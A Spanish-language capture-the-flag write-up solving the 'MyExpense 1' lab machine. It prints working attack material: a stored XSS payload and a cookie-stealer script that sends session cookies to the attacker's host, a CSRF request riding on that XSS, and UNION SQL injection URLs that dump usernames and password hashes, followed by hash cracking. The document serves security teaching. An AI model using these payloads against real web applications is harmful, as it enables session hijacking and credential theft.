MyExpense 1
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. MyExpense es una caja puramente web: no hay shell ni root, el objetivo es reclamar los 750 € que la empresa le debe a Samuel. La cadena encadena fallos de lógica de negocio con XSS almacenado: se registra una cuenta forzando el botón deshabilitado, se roba la cookie del administrador reflejando un<script>enadmin.phpy, sobre ese mismo XSS, se abusa de un CSRF para activar la cuenta. Luego se pivota de usuario robando cookies vía comentarios, y para llegar al aprobador financiero se recurre a una SQLi UNION que vuelca su hash MD5; crackeado (HackMe), se aprueba el reporte y cae la flag.
Reconocimiento
Localizar la máquina en la red
A diferencia de un laboratorio con VPN, aquí la máquina es una imagen que se levanta en la red local y su IP no la sabemos de antemano. El primer paso es descubrirla con un barrido ARP, que pregunta a nivel de enlace y no depende de que el host responda a ICMP:
sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
192.168.1.1 2c:70:4f:14:4e:c7 (Unknown)
192.168.1.158 00:0c:29:44:b9:d2 VMware, Inc.
192.168.1.128 74:e2:0c:8f:1e:6f Amazon Technologies Inc.
192.168.1.136 a4:77:33:d7:4d:4c Google, Inc.
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.526 seconds. 6 respondedLa delata el fabricante de la MAC: VMware, mientras el resto de la red son un router, un Amazon y un Google. Un ping confirma que responde:
ping -c 1 192.168.1.158
64 bytes from 192.168.1.158: icmp_seq=1 ttl=64 time=0.462 ms
1 packets transmitted, 1 received, 0% packet loss, time 0msTTL 64 sin decrementar → Linux y sin saltos de routing por medio, coherente con una máquina de la misma red local.
Escaneo y enumeración web
El escaneo TCP completo devuelve cinco puertos, uno conocido y cuatro en el rango alto:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.158
Discovered open port 80/tcp on 192.168.1.158
Discovered open port 53117/tcp on 192.168.1.158
Discovered open port 51007/tcp on 192.168.1.158
Discovered open port 57953/tcp on 192.168.1.158
Discovered open port 57381/tcp on 192.168.1.158
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
51007/tcp open unknown syn-ack ttl 64
53117/tcp open unknown syn-ack ttl 64
57381/tcp open unknown syn-ack ttl 64
57953/tcp open unknown syn-ack ttl 64
MAC Address: 00:0C:29:44:B9:D2 (VMware)Los cinco se pasan al siguiente comando con extractPorts:
extractPorts scan
Extracting information ...
IP Address: 192.168.1.158
Open ports: 80,51007,53117,57381,57953
Ports copied to clipboardLos cuatro puertos altos aparecen como unknown porque no hay nada en /etc/services para esos números; hace falta la segunda pasada para saber qué son:
nmap -p80,51007,53117,57381,57953 -sCV 192.168.1.158
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Futura Business Informatique GROUPE - Conseil en ing\xC3\xA9nierie
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-robots.txt: 1 disallowed entry
|_/admin/admin.php
51007/tcp open http Mongoose httpd
53117/tcp open http Mongoose httpd
57381/tcp open http Mongoose httpd
57953/tcp open http Mongoose httpdDos cosas se llevan la atención, y las dos acaban importando:
- El script
http-cookie-flagsavisa de que la cookiePHPSESSIDno lleva el flaghttponly. Ese flag es justamente lo que impide que el JavaScript de la página lea la cookie condocument.cookie. Sin él, cualquier XSS que se consiga puede robar sesiones, que es exactamente lo que haremos. - El
robots.txttiene una única entrada prohibida,/admin/admin.php. Un fichero pensado para decirle a los buscadores dónde no mirar termina siendo un índice de lo interesante.
Los cuatro Mongoose httpd de los puertos altos son servidores web mínimos, sin título ni contenido útil, y no vuelven a aparecer en la cadena.
La identificación de la pila la cierran whatweb y Wappalyzer:
whatweb 192.168.1.158
http://192.168.1.158 [200 OK] Apache[2.4.25], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ],
HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.158],
Title[Futura Business Informatique GROUPE - Conseil en ingénierie]
Web servers Apache HTTP Server 2.4.25
Programming languages PHP
Operating systems DebianLa propia portada explica el flujo de negocio que después va a ser la cadena de ataque:
MyExpense application allow collaborators and managers to report their expenses in order to be
reimburesed as quick as possible.
Collaborator : your manager, then the financial approver have to validate your request.
Manager : the financial approver has to validate your request.Un gasto necesita dos firmas: primero la del manager del colaborador y después la del financial approver. Ese detalle, escrito en la portada, es literalmente el mapa de la escalada.
El enunciado del reto añade el contexto y, con él, unas credenciales de partida:

Usted es "Samuel Lamotte" y acaba de ser despedido de su empresa "Futura Business Informatique".
... no ha tenido tiempo de validar el informe de gastos de su último viaje de negocios, que todavía
asciende a 750 euros ...
Sus credenciales fueron: samuel/fzghn4lw
Una vez realizado el desafío, la bandera se mostrará en la aplicación mientras está conectado con su
cuenta (samuel).Confirmamos el hallazgo del robots.txt con la enumeración web específica de nmap:
nmap --script http-enum -p80 192.168.1.158
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /admin/admin.php: Possible admin folder
| /login.php: Possible admin folder
|_ /robots.txt: Robots fileEl panel lista todos los usuarios de la empresa. El nuestro, Samuel Lamotte (slamotte), aparece como Inactive: la historia es que Samuel fue despedido y su cuenta quedó bloqueada. Otros usuarios clave: pbaudouin (Financial approver), mriviere (Manager).

Registro forzando el botón deshabilitado
Las credenciales de slamotte (samuel / fzghn4lw) no dejan entrar:

Your account has been locked or is inactive. Please contact the administrator team.El mensaje es informativo de más: no dice "usuario o contraseña incorrectos", dice que la cuenta existe y está bloqueada. O sea, las credenciales son buenas y el obstáculo es el estado de la cuenta, no la autenticación. Eso reorienta el objetivo: no hay que averiguar una contraseña, hay que activar una cuenta.
Probamos entonces a registrar un usuario nuevo. El formulario de signup.php pide usuario, contraseña, sede, correo, nombre y apellidos:

El botón Sign up está apagado y no responde al clic. Pero al inspeccionarlo se ve por qué:

<button class="btn btn-primary btn-block" type="submit" name="signup" value="signup" disabled="">Sign up !</button>El bloqueo es un atributo disabled en el HTML, es decir, una decisión tomada en el navegador, que es justo el sitio que controla el atacante. Se borra el atributo desde el propio inspector y el botón vuelve a funcionar:


El usuario se crea, aunque también nace Inactive. Y aquí está lo importante:

Nuestro input del registro se refleja tal cual en admin.php, la página que un administrador revisa con frecuencia. Eso es terreno abonado para un XSS almacenado.
XSS almacenado + CSRF
Robo de la cookie del administrador
Inyectamos en el registro un <script> que carga un recurso nuestro. Los campos que se reflejan en la tabla son el nombre y los apellidos, así que el payload va en los dos:
<script src="http://192.168.1.80/cookieStealer.js"></script>
Antes incluso de escribir el fichero robado se levanta el servidor, porque lo primero que interesa saber es si alguien abre esa página:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.158 - - [03/Mar/2025 00:08:57] code 404, message File not found
192.168.1.158 - - [03/Mar/2025 00:08:57] "GET /cookieStealer.js ... HTTP/1.1" 404 -
192.168.1.158 - - [03/Mar/2025 00:09:27] code 404, message File not found
192.168.1.158 - - [03/Mar/2025 00:09:27] "GET /cookieStealer.js ... HTTP/1.1" 404 -Los 404 son exactamente la prueba que buscábamos: el fichero todavía no existe, pero alguien está pidiéndolo cada 30 segundos, es decir, hay un proceso (o un administrador simulado) que abre admin.php periódicamente y ejecuta nuestro <script>. Ahora sí, se escribe el recurso:
nano cookieStealer.js
// cookieStealer.js
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.80/?cookie=' + document.cookie);
request.send();Al poco, el servidor HTTP empieza a recibir peticiones: alguien (el administrador) abre admin.php y ejecuta nuestro JavaScript, mandándonos su cookie de sesión.

GET /cookieStealer.js
GET /?cookie=PHPSESSID=2pm9fn3h4g218j19l7qj7q86l5La cookie es la del administrator, pero al usarla da error:

Sorry, as an administrator, you can be authenticated only once a time.
Error 403 - ForbiddenLa app no permite dos sesiones simultáneas del mismo usuario, así que la sesión robada no sirve para entrar. Hace falta otro enfoque, y está en la propia tabla:

Ese Inactive no es texto, es un botón. Y su enlace lo dice todo:

http://192.168.1.158/admin/admin.php?id=11&status=active
-> Sorry, something goes wrong.
Error 401 - UnauthorizedPedirla nosotros devuelve un 401: la acción existe pero exige privilegios. Y ahí encaja la pieza que ya tenemos, porque el administrador ejecuta nuestro código en su navegador, con su sesión.
CSRF: activar la cuenta con el XSS
En admin.php, el estado Inactive es en realidad un botón que cambia la cuenta a active, y esa petición solo la puede hacer un usuario con privilegios. Como el administrador carga y ejecuta nuestro recurso, cambiamos el payload: en lugar de robar su cookie, que su navegador haga por nosotros la petición privilegiada. Es un CSRF montado sobre el XSS.
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.158/admin/admin.php?id=11&status=active');
request.send();
El id=11 es el de slamotte, y el fichero conserva el nombre porque el <script src> ya inyectado apunta a él: solo cambia lo que hay dentro. La confirmación llega en la siguiente pasada del administrador:

192.168.1.158 - - [03/Mar/2025 00:58:24] "GET /cookieStealer.js HTTP/1.1" 200 -
Con la cuenta activada, slamotte ya puede iniciar sesión: aparecen los 750 € pendientes, que solicitamos con el botón verde.

El reporte pasa a Submitted, no a pagado:

The expense report is submitted successfully !
Date Amount Comment Status
2018-02-15 750 € Plane tickets, Cybersecurity project n°5423545 SubmittedPivotar entre aprobadores
mriviere: robo de cookie por comentario
¿Quién tiene que firmar? El propio perfil de slamotte lo dice:

Username : slamotte
Role : Collaborator
Site : Rennes
Manager : Manon RiviereEl reporte necesita el visto bueno de Manon Riviere (mriviere). Y la portada de slamotte tiene un tablón de mensajes donde ella ha escrito, y donde nosotros también podemos publicar:

Mismo patrón que antes: contenido nuestro que otros usuarios van a leer. Se repite el XSS almacenado, esta vez en el puerto 8080 para no mezclar estas peticiones con las del anterior, que sigue activo:
<script src="http://192.168.1.80:8080/cookieStealer.js"></script>
nano cookieStealer.js
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.80:8080/?cookie=' + document.cookie);
request.send();
El mensaje aparece con el cuerpo vacío, que es justo lo que se espera: el navegador no pinta una etiqueta <script>, la ejecuta.
python3 -m http.server 8080
"GET /?cookie=PHPSESSID=7hu871k1ka5qc73rfdttjipjl2 HTTP/1.1" 200 -
"GET /?cookie=PHPSESSID=u2ea1rjkat3d8ph4b6ikp8kiu1 HTTP/1.1" 200 -
"GET /?cookie=PHPSESSID=4ln75m5drj9jkdj57a71f5b4j7 HTTP/1.1" 200 -
"GET /?cookie=PHPSESSID=fe13bo3vr6ibdae11ncgsc2s80 HTTP/1.1" 200 -Cuatro cookies distintas, porque son cuatro usuarios los que abren el tablón. No hay forma de saber cuál es cuál sin probarlas, así que se van sustituyendo una a una en el navegador. La segunda acierta:

Ya como mriviere, la pestaña de reportes muestra el de slamotte esperando aprobación, con los dos botones de aceptar y rechazar:

Se acepta, pero el dinero sigue sin llegar: falta el aprobador financiero. El panel de administración recuerda que hay dos:

Y el perfil de mriviere desempata cuál de los dos:

Username : mriviere
Role : Manager
Site : Rennes
Manager : Paul BaudouinEs pbaudouin. Pero él no lee el tablón, así que el XSS no sirve para llegar hasta su cuenta.
Acceso a pbaudouin: SQLi UNION
El parámetro id es numérico
En la pestaña Rennes, la URL lleva un site.php?id=2 que pinta una tabla de empleados de esa sede:

Rennes (8 Rue des lilas, 35000 Rennes)
Firstname Lastname Email address Role
Manon Riviere mriviere@futuraBI.fr Manager
Bernadette Renaud brenaud@lrtechnologies.fr Collaborator
Samuel Lamotte slamotte@futuraBI.fr CollaboratorUn parámetro que selecciona filas de una tabla es el candidato obvio. La primera prueba es la de siempre, romper la consulta con una comilla:
http://192.168.1.158/site.php?id=2'-- -
Sorry, a technical error has occured.La web se rompe, lo cual confirma que el parámetro llega a la consulta sin filtrar. Pero conviene entender por qué se rompe, porque cambia el payload: si el id fuese una cadena, la consulta sería WHERE id='2' y la comilla la cerraría limpiamente. Que falle indica lo contrario, que la consulta es WHERE id=2 sin comillas por tratarse de un valor numérico, y entonces nuestra comilla sobra y es ella la que provoca el error de sintaxis. La conclusión práctica es que aquí no hay que abrir ninguna comilla: se inyecta directamente detrás del número.
Con eso claro, el siguiente paso de una inyección UNION es contar cuántas columnas devuelve la consulta original, porque el UNION exige el mismo número. Se hace subiendo con ORDER BY hasta que falla:
http://192.168.1.158/site.php?id=2 ORDER BY 2-- -
http://192.168.1.158/site.php?id=2 ORDER BY 3-- -
El ORDER BY 2 no solo no falla: la tabla vuelve reordenada (Bernadette aparece ahora la primera), que es la confirmación de que la inyección se está ejecutando de verdad y no simplemente ignorada.

ORDER BY 2 -> la página responde con normalidad
ORDER BY 3 -> Sorry, a technical error has occured.Ordenar por la columna 2 funciona y por la 3 no, luego la consulta devuelve exactamente 2 columnas.
Volcado de credenciales
Con dos columnas montamos el UNION SELECT y recorremos el esquema de arriba abajo. Primero las bases de datos:
site.php?id=2 UNION SELECT NULL, schema_name FROM information_schema.schemata-- -
Rennes (8 Rue des lilas, 35000 Rennes)
(information_schema)
(myexpense)
(mysql)
(performance_schema)De las cuatro, tres son del propio motor y solo myexpense es de la aplicación. Sus tablas:
site.php?id=2 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema='myexpense'-- -
(expense)
(message)
(site)
(user)Y las columnas de user, que es la que interesa:
site.php?id=2 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_schema='myexpense' AND table_name='user'-- -
(user_id) (username) (password) (role) (lastname) (firstname)
(site_id) (mail) (manager_id) (last_connection) (active)Con los nombres exactos ya se puede pedir la pareja usuario:contraseña. El group_concat las junta todas en una sola celda, que es lo que hace falta cuando la respuesta solo pinta un valor por fila:
site.php?id=2 UNION SELECT NULL, group_concat(username,0x3a,password) FROM user-- -
pbaudouin:64202ddd5fdea4cc5c2f856efef36e1aCrackeo del hash MD5
El hash de pbaudouin tiene 32 caracteres hexadecimales, la firma de un MD5 sin sal. Al no llevar sal, el mismo texto produce siempre el mismo hash, y eso permite saltarse la fuerza bruta: basta consultarlo en un servicio de rainbow tables, que son tablas ya calculadas de hash a texto claro.

Proceeded! 1 hashes were checked: 1 found 0 not found
Found:
64202ddd5fdea4cc5c2f856efef36e1a:HackMeLa flag
Con pbaudouin:HackMe iniciamos sesión como aprobador financiero, y su vista es distinta: ve las tres sedes en el menú y los reportes ya validados por los managers, con un botón verde de pago:

Collaborators Expense reports
2018-02-21 Manon Riviere 553 € A new computer. Validated
2018-02-15 Samuel Lamotte 750 € Plane tickets, Cybersecurity project ValidatedSe acepta el de slamotte y la aplicación lo confirma:

The expense report is sent for payment successfully !Volviendo a la sesión de slamotte, la aplicación confirma el objetivo cumplido: Samuel recupera su dinero.

flag{H4CKY0URL1F3}Cadena de ataque
admin.php refleja el input -> XSS almacenado en el registro
└─> el admin ejecuta el JS -> robo de cookie (single-session, inútil)
└─> mismo XSS -> CSRF admin.php?id=11&status=active -> slamotte activo
└─> login slamotte (750 €) -> XSS por comentario -> cookie de mriviere
└─> pbaudouin no ve el chat -> SQLi UNION en site.php?id
└─> pbaudouin:MD5 -> HackMe -> aprobar reporte -> flagLecciones aprendidas
- Un botón deshabilitado no es un control de seguridad.
disabledvive en el cliente; quitarlo en el DOM basta para enviar el formulario. - Reflejar el input en una página que ve un privilegiado es XSS + CSRF. El mismo payload sirve para robar la cookie o para ejecutar acciones privilegiadas en nombre de la víctima.
- La lógica de aprobación en cadena es explotable eslabón a eslabón. Cada rol (colaborador, manager, aprobador) se compromete con la técnica que su comportamiento permita.
- Un
idnumérico sin entrecomillar sigue siendo SQLi. No hace falta una comilla para inyectar cuando el valor no va entre comillas en la consulta. - MD5 sin sal es texto claro con retraso. Una tabla arcoíris devuelve la contraseña en segundos.